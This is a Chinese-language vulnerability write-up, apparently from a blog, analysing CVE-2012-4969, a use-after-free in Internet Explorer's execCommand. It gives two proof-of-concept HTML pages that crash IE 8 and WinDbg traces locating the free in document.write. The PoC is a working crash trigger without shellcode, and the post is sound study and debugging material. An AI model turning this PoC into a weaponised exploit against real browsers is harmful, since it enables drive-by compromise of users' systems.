【漏洞分析】Microsoft IE execCommand函数释放后重用漏洞(CVE-2012-4969)
0x00 前言
前一段时间接到了某种检测语言的翻译工作,因为这种检测语言不是标准语言,所以需要编译器重新翻译处理。准确的说是一种DSL(Domain Specific Language)。之前有过一个版本的类似DSL解析,尝试改了改,发现人肉工作量不可接受。之前写过json的解析器。感觉本质相同,于是重新写了一个解析器,解析效率杠杠的,收到了意想不到的成果。so cool~
趁着五一翻翻cve,摸摸windbg。
0x01 简介
2012年9月IE的execCommand函数被公布在实现上存在释放后重用漏洞,远程攻击者可能利用此漏洞通过诱使用户访问恶意网页执行挂马攻击,控制用户系统。
受影响版本:
Microsoft Internet Explorer 9.x
Microsoft Internet Explorer 8.x
Microsoft Internet Explorer 7.x
Microsoft Internet Explorer 6.x
0x02 运行环境
版本 | |
---|---|
操作系统 | windows 7 sp1 32bit |
调试器 | windbg 6.12 32 bit |
漏洞软件 | IE 8.0.7601.17514 |
反编译工具 | IDA |
0x03 漏洞分析
本漏洞需要两个html文件,具体细节如下
poc.html
<html>
<body>
<script>
var arrr = new Array();
arrr[0] = window.document.createElement("img");
arrr[0]["src"] = "f";
</script>
<iframe src="./exp1.html"></iframe>
</body>
</html>
exp1.html
<HTML>
<script>
function funcB() {
document.execCommand("selectAll");
};
function funcA() {
document.write("B");
parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
}
</script>
<body onload='funcB();' onselect='funcA()'>
<div contenteditable='true'>
>for crash
</div>
</body>
</HTML>
通过浏览器打开poc.html文件,允许Active X的运行即可触发崩溃。
(d44.260): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000001f ecx=1f5b0f30 edx=0000000d esi=00000000 edi=1cb67f78
eip=5d6c503e esp=1eda9be4 ebp=1eda9bf0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMshtmlEd::Exec+0x131:
5d6c503e 8b7f08 mov edi,dword ptr [edi+8] ds:0023:1cb67f80=????????
0:034> kb
ChildEBP RetAddr Args to Child
1eda9bf0 5d697f93 1cb67f78 5d678eac 0000001f mshtml!CMshtmlEd::Exec+0x131
1eda9c20 5d673888 5d678eac 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xff
1eda9fe0 5d7b5397 1ac54fc8 5d678eac 0000001f mshtml!CDoc::ExecHelper+0x3cdb
1edaa000 5d7f50f6 1ac54fc8 5d678eac 0000001f mshtml!CDocument::Exec+0x24
1edaa028 5d7b7090 147fdb58 0000001f 1eda000a mshtml!CBase::execCommand+0x53
1edaa060 5d7ee043 00000001 147fdb58 00000000 mshtml!CDocument::execCommand+0x94
1edaa0d8 5d6af10b 1ac54fc8 14634fd0 1179afd8 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x14e
1edaa14c 5d6aef72 1ac54fc8 00000429 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
1edaa178 5d6bb7fa 1ac54fc8 00000429 00000001 mshtml!CBase::InvokeEx+0x25
1edaa1c8 5d65f00c 1ac54fc8 0000000b 00000429 mshtml!DispatchInvokeCollection+0x14c
1edaa210 5d65bc52 1ac54fc8 00000429 00000001 mshtml!CDocument::InvokeEx+0xf0
1edaa238 5d65bc0e 1ac54fc8 00000429 00000001 mshtml!CBase::VersionedInvokeEx+0x20
1edaa28c 644aa26e 1d599fd8 00000429 00000001 mshtml!PlainInvokeEx+0xeb
1edaa2c8 644aa1b9 1493ad10 00000429 00000409 jscript!IDispatchExInvokeEx2+0x104
1edaa304 644aa43a 1493ad10 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
...
...
指令想把[edi + 8]内存地址的数据取出来存入edi寄存器中,但是崩溃了。
数据段ds:0023的地址1cb67f80正是edi(1cb67f78) +8 的计算结果。所以程序在取ptr [edi + 8]的时候崩溃。
查看异常地址1cb67f80, 即edi+8:
0:034> !address 1cb67f80
Failed to map Heaps (error 80004005)
Usage: PageHeap
Allocation Base: 1caa0000
Base Address: 1cb67000
End Address: 1cb68000
Region Size: 00001000
Type: 00020000 MEM_PRIVATE
State: 00001000 MEM_COMMIT
Protect: 00000001 PAGE_NOACCESS
More info: !heap -p 0x200000
More info: !heap -p -a 0x1cb67f80
该地址属性为PAGE_NOACCESS
,不可访问。所以是非法读的问题。同时Usage为PageHeap,表示是堆上的问题,所以需要开启page heap.
使用windbg自动分析
0:034> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\360\360safe\safemon\ieplus.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\360\360safe\360NetBase.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\360\360safe\safemon\urlproc.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\360\360safe\safemon\safemon.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll -
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: jscript!CScriptRuntime ***
*** ***
*************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
mshtml!CMshtmlEd::Exec+131
5d6c503e 8b7f08 mov edi,dword ptr [edi+8]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 5d6c503e (mshtml!CMshtmlEd::Exec+0x00000131)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 1cb67f80
Attempt to read from address 1cb67f80
FAULTING_THREAD: 00000260
DEFAULT_BUCKET_ID: INVALID_POINTER_READ
PROCESS_NAME: iexplore.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 1cb67f80
READ_ADDRESS: 1cb67f80
FOLLOWUP_IP:
mshtml!CMshtmlEd::Exec+131
5d6c503e 8b7f08 mov edi,dword ptr [edi+8]
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 2000000
APPLICATION_VERIFIER_FLAGS: 1
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ
LAST_CONTROL_TRANSFER: from 5d697f93 to 5d6c503e
STACK_TEXT:
1eda9bf0 5d697f93 1cb67f78 5d678eac 0000001f mshtml!CMshtmlEd::Exec+0x131
1eda9c20 5d673888 5d678eac 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xff
1eda9fe0 5d7b5397 1ac54fc8 5d678eac 0000001f mshtml!CDoc::ExecHelper+0x3cdb
1edaa000 5d7f50f6 1ac54fc8 5d678eac 0000001f mshtml!CDocument::Exec+0x24
1edaa028 5d7b7090 147fdb58 0000001f 1eda000a mshtml!CBase::execCommand+0x53
1edaa060 5d7ee043 00000001 147fdb58 00000000 mshtml!CDocument::execCommand+0x94
1edaa0d8 5d6af10b 1ac54fc8 14634fd0 1179afd8 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x14e
1edaa14c 5d6aef72 1ac54fc8 00000429 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
1edaa178 5d6bb7fa 1ac54fc8 00000429 00000001 mshtml!CBase::InvokeEx+0x25
1edaa1c8 5d65f00c 1ac54fc8 0000000b 00000429 mshtml!DispatchInvokeCollection+0x14c
1edaa210 5d65bc52 1ac54fc8 00000429 00000001 mshtml!CDocument::InvokeEx+0xf0
1edaa238 5d65bc0e 1ac54fc8 00000429 00000001 mshtml!CBase::VersionedInvokeEx+0x20
1edaa28c 644aa26e 1d599fd8 00000429 00000001 mshtml!PlainInvokeEx+0xeb
1edaa2c8 644aa1b9 1493ad10 00000429 00000409 jscript!IDispatchExInvokeEx2+0x104
1edaa304 644aa43a 1493ad10 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
1edaa3c4 644aa4e4 00000429 00000001 00000000 jscript!InvokeDispatchEx+0x98
1edaa3f8 644bd9a8 1493ad10 1edaa42c 00000001 jscript!VAR::InvokeByName+0x139
1edaa444 644bda4f 1493ad10 00000001 00000000 jscript!VAR::InvokeDispName+0x7d
...
...
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: mshtml!CMshtmlEd::Exec+131
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: mshtml
IMAGE_NAME: mshtml.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 4ce7b8f3
STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~34s ; kb
FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_mshtml.dll!CMshtmlEd::Exec
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_mshtml!CMshtmlEd::Exec+131
WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/iexplore_exe/8_0_7601_17514/4ce79912/mshtml_dll/8_0_7601_17514/4ce7b8f3/c0000005/0024503e.htm?Retriage=1
Followup: MachineOwner
---------
这里可以得到一些重要信息:
- DEFAULT_BUCKET_ID:
INVALID_POINTER_READ
表示crash原因是不可用的指针读操作,跟预期分析的一样 - IMAGE_NAME:
mshtml.dll
表示crash的位置是mshtml.dll文件 SYMBOL_NAME: mshtml!CMshtmlEd::Exec+131
表示crash的第一现场符号名称,配合上ida,就十分完美了。
看下问题模块的详细信息:
0:034> lmvm mshtml
start end module name
5d480000 5da37000 mshtml (pdb symbols) c:\localsymbols\mshtml.pdb\8C01A1767D9848308D4BAFDF0EBEB7452\mshtml.pdb
Loaded symbol image file: C:\Windows\System32\mshtml.dll
Image path: C:\Windows\System32\mshtml.dll
Image name: mshtml.dll
Timestamp: Sat Nov 20 20:02:59 2010 (4CE7B8F3)
CheckSum: 005B4AB8
ImageSize: 005B7000
File version: 8.0.7601.17514
Product version: 8.0.7601.17514
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Microsoft Corporation
ProductName: Windows® Internet Explorer
InternalName: MSHTML
OriginalFilename: MSHTML.DLL
ProductVersion: 8.00.7601.17514
FileVersion: 8.00.7601.17514 (win7sp1_rtm.101119-1850)
FileDescription: Microsoft (R) HTML Viewer
LegalCopyright: © Microsoft Corporation. All rights reserved.
找到了问题模块的保存位置 C:\Windows\System32\mshtml.dll
ida打开,锁定位置
在mshtml!CMshtmlEd::Exec这个位置下断点,跟踪
eax=00000000 ebx=0000001f ecx=00000003 edx=0b9f99f0 esi=00000001 edi=15ff4f78
eip=617f5015 esp=0b9f9a34 ebp=0b9f9a40 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CMshtmlEd::Exec+0x103:
617f5015 8b4708 mov eax,dword ptr [edi+8] ds:0023:15ff4f80=105f2f20
0:021> p
eax=105f2f20 ebx=0000001f ecx=00000003 edx=0b9f99f0 esi=00000001 edi=15ff4f78
eip=617f5018 esp=0b9f9a34 ebp=0b9f9a40 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CMshtmlEd::Exec+0x106:
617f5018 8b4050 mov eax,dword ptr [eax+50h] ds:0023:105f2f70=0a5e4ff8
在mshtml!CMshtmlEd::Exec+0x103的位置使用了dword ptr [edi+8]这块内存的值,但是没有崩溃,之后再用时崩溃,可能是个UAF。
这样新的问题就产生了:
- 在于哪里释放了dword ptr [edi+8]这块内存?
- dword ptr [edi+8]这块内存是什么含义?表示哪个js对象?
对于问题1,可以断定是在 mshtml!CMshtmlEd::Exec+0x103 和程序崩溃点 mshtml!CMshtmlEd::Exec+131 之间释放的,具体free函数不清楚,很可能跟mshtml!CMshtmlEd类有关。
看下mshtml!CMshtmlEd类相关符号
0:004> x mshtml!CmshtmlEd::*
61db352b mshtml!CMshtmlEd::Release = <no type information>
61db38cd mshtml!CMshtmlEd::QueryInterface = <no type information>
61cda635 mshtml!CMshtmlEd::Initialize = <no type information>
61d2a5d9 mshtml!CMshtmlEd::AddRef = <no type information>
61d2a4c8 mshtml!CMshtmlEd::`vftable' = <no type information>
61db4ee2 mshtml!CMshtmlEd::IsDialogCommand = <no type information>
61d1e118 mshtml!CMshtmlEd::QueryStatus = <no type information>
61b916e3 mshtml!CMshtmlEd::GetSegmentList = <no type information>
61db4faf mshtml!CMshtmlEd::Exec = <no type information>
61cda98d mshtml!CMshtmlEd::CMshtmlEd = <no type information>
61dccd5b mshtml!CMshtmlEd::~CMshtmlEd = <no type information>
在release和initialize函数位置下断点
0:042> bp mshtml!CMshtmlEd::Initialize
0:042> bp mshtml!CMshtmlEd::Release
事先在js代码各关键点下断点
可以看到在html页面加载末尾,js开始执行第一行
js调试器继续
然而没有断下来
执行完第6行,进入mshtml!CMshtmlEd::Initialize断点
看下initialize函数的实现,mshtml!_imp__HeapAlloc为堆分配函数,单步执行到这一句
eax中保存的即为HeapAlloc分配的新地址:1f229fc0
顺便看下堆信息
0:021> !heap -p -a 1f229fc0
address 1f229fc0 found in
_DPH_HEAP_ROOT @ 201000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1f251e6c: 1f229fc0 40 - 1f229000 2000
73848e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77585e26 ntdll!RtlDebugAllocateHeap+0x00000030
7754a376 ntdll!RtlpAllocateHeap+0x000000c4
77515ae0 ntdll!RtlAllocateHeap+0x0000023a
61cda661 mshtml!CMshtmlEd::Initialize+0x0000002c
61cda5bd mshtml!CHTMLEditor::SetActiveCommandTarget+0x0000002e
61cd9aed mshtml!CHTMLEditor::Initialize+0x00000128
61cb9d7f mshtml!CDoc::GetHTMLEditor+0x00000058
61d8842a mshtml!CEditRouter::SetInternalEditHandler+0x0000004f
61d87f69 mshtml!CEditRouter::ExecEditCommand+0x000000d5
61d63888 mshtml!CDoc::ExecHelper+0x00003cdb
61ea5397 mshtml!CDocument::Exec+0x00000024
61ee50f6 mshtml!CBase::execCommand+0x00000053
61ea7090 mshtml!CDocument::execCommand+0x00000094
61ede043 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x0000014e
61d9f10b mshtml!CBase::ContextInvokeEx+0x000005dc
61d9ef72 mshtml!CBase::InvokeEx+0x00000025
61dab7fa mshtml!DispatchInvokeCollection+0x0000014c
61d4f00c mshtml!CDocument::InvokeEx+0x000000f0
61d4bc52 mshtml!CBase::VersionedInvokeEx+0x00000020
61d4bc0e mshtml!PlainInvokeEx+0x000000eb
644aa26e jscript!IDispatchExInvokeEx2+0x00000104
644aa1b9 jscript!IDispatchExInvokeEx+0x0000006a
644aa43a jscript!InvokeDispatchEx+0x00000098
644aa4e4 jscript!VAR::InvokeByName+0x00000139
644bd9a8 jscript!VAR::InvokeDispName+0x0000007d
644bda4f jscript!VAR::InvokeByDispID+0x000000ce
644be4c7 jscript!CScriptRuntime::Run+0x00002b80
644b5d7d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
644b5cdb jscript!ScrFncObj::Call+0x0000008d
644b5ef1 jscript!CSession::Execute+0x0000015f
644af4c6 jscript!NameTbl::InvokeDef+0x000001b5
initialize的反编译代码
跟进CSelectionServices::CSelectionServices()函数,里面基本上都是对HeapAlloc出来的空间用各种CSelectionServices相关的虚函数表初始化。
这里有个问题,如果是初始化CSelectionServices对象,为什么不用new,而是HeapAlloc后赋值?
继续,断在initialize函数,申请地址为:b384fc0
继续,断在release函数,
看下mshtml!CMshtmlEd::Release+0x11的实现
此时br = 0,说明不会调用HeapFree
继续,
js继续执行,第二次断在release函数,还是不会调用HeapFree
继续,第三次断在release函数,此时会调用HeapFree
step into(F8)步入,寻找HeapFree的第3个参数,即esi = 12d3ef78,这是准备释放的内存地址
继续,此时程序崩溃, kb查看调用堆栈,有jsdebuggeride相关的模块,推测出为js调试器
0:021> g
(ce4.ce0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000018d ebx=00000000 ecx=0a536fd0 edx=61ecf55c esi=00000000 edi=0000018d
eip=61f0bfa4 esp=2622f918 ebp=2622f920 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CHtmInfo::ReadUnicodeSource+0x10:
61f0bfa4 8b86ec000000 mov eax,dword ptr [esi+0ECh] ds:0023:000000ec=????????
0:041> kb
ChildEBP RetAddr Args to Child
2622f920 61f0bcd7 0e218fd8 00000000 2622f990 mshtml!CHtmInfo::ReadUnicodeSource+0x10
2622f938 61ecfaaf 0e218fd8 00000000 0000018d mshtml!CHtmCtx::ReadUnicodeSource+0x1a
2622f958 62c1c64c 0a536fd0 00000000 0e218fd8 mshtml!CScriptDebugDocument::CHost::GetDeferredText+0x2e
2622f9a4 62c3a8a4 44e8bfe8 44df7f90 05616fd0 pdm!CDebugDocumentHelper::EnsureParsed+0xd9
2622f9c0 6a97d68c 0e218f48 0000009a 44e8bff4 pdm!CDebugDocumentHelper::GetLineOfPosition+0x28
2622f9e8 6a97ddfd 05616fd0 0e218f48 2622fa40 jsdebuggeride!CJSDbgState::GetSourceContext+0x9e
2622fa08 6a97e5e8 00000000 00000000 2622fa44 jsdebuggeride!CJSDbgStackFrameInfo::GetSourceContext+0x4b
运行到这里,基本可以得出一个结论。开始盲下的initialize和release并没有对应上,由于推测漏洞是uaf,所以假设release的内存是有用的,则initialize函数已经不需要再看了。
为了验证release函数是UAF中的F,重新运行poc(不运行s调试器),在release函数处下断点
bingo, release的地址跟崩溃的地址一样,说明free就在这里。回忆刚才js最后可见的执行位置,是document.write("B");
也就是说document.write("B");
释放了某个对象,js的最后一句引用了该对象导致UAF。
最后一句js代码如下:
parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
这里做一个大胆的猜想arr[0]就是引发UAF的对象。证据呢?
两种证明方法:
1) 使用windbg找到crash地址12d3ef78与arr[0]相等的证据;
2) 从js代码含义推测执行逻辑
显然,方法一是比较难的,两种语言的对应关系,虚拟机和字节码的关系。。。
方法二:
之前不太了解js,于是找了找相关函数的定义。
execCommand方法是执行一个对当前文档,当前选择或者给出范围的命令。处理Html数据时常用如下格式:document.execCommand(sCommand[,交互方式,动态参数]),其中:sCommand为指令参数(如下例中的"2D-Position"),交互方式参数如果是true的话将显示对话框,如果为false的话,则不显示对话框(下例中的"false"即表示不显示对话框),动态参数一般为一可用值或属性值(如下例中的"true")。
SelectAll 表示选中整个文档。
onload 表示一旦加载完触发
onselect 表示一旦被选中触发
exp1.html代码
<HTML>
<script>
function funcB() {
document.execCommand("selectAll");
};
function funcA() {
document.write("B");
parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
}
</script>
<body onload='funcB();' onselect='funcA()'>
<div contenteditable='true'>
a
</div>
</body>
</HTML>
刚开始看这段js最大的问题是: onselect是被选中时才能触发,但是我打开poc时,没有选中就崩溃了,为什么?
答案就是,这段js的funcB是会被自动执行的,funcB里有选中动作(selectAll),即可触发funcA。
这样整个代码的指令流程就清晰了。
另一个问题:统揽js代码没有free的函数,那free是在哪里调用的?
答案是document.write("B");
document.write()是个有趣的函数,运行时机不同,行为不同。
场景1. 页面加载未结束,顺序执行到document.write(),界面会在已加载的内容基础上追加内容;
场景2. 页面加载已经结束,使用异步执行,document.write()会冲掉之前的内容,只显示write的新内容。这个冲掉即隐含了free。
场景2的现象正符合我们之前调试的过程,在调用document.write("B");
后调用release并崩溃,即这里就是crash的触发原因
0x04 总结
- 这个问题是js代码解释执行的问题,需要调试浏览器代码,还要看js代码,所以需要两种代码都可以下断点的调式工具(windbg和IE的开发者工具),比较方便定位js执行到哪步出问题;
- 崩溃点的内存属性一定要看好,开始以为不是heap,就没有开页堆选项
- 崩溃点的调用堆栈需要一点点倒推,跨度太大,容易跟丢问题变量
- IE的开发者工具调试需要先打开,在同windbg attach上去,否则会莫名其妙的崩溃
- 这个cve在x64和x86平台的崩溃点代码不同,差点以为不能复现问题
0x05 参考文献
https://blog.csdn.net/u012763794/article/details/68059625
https://bbs.pediy.com/thread-206412.htm
https://www.exp99.com/fangan_f2e/documentwrite.html
https://www.freebuf.com/articles/system/156174.html
https://www.jb51.net/softjc/201856.html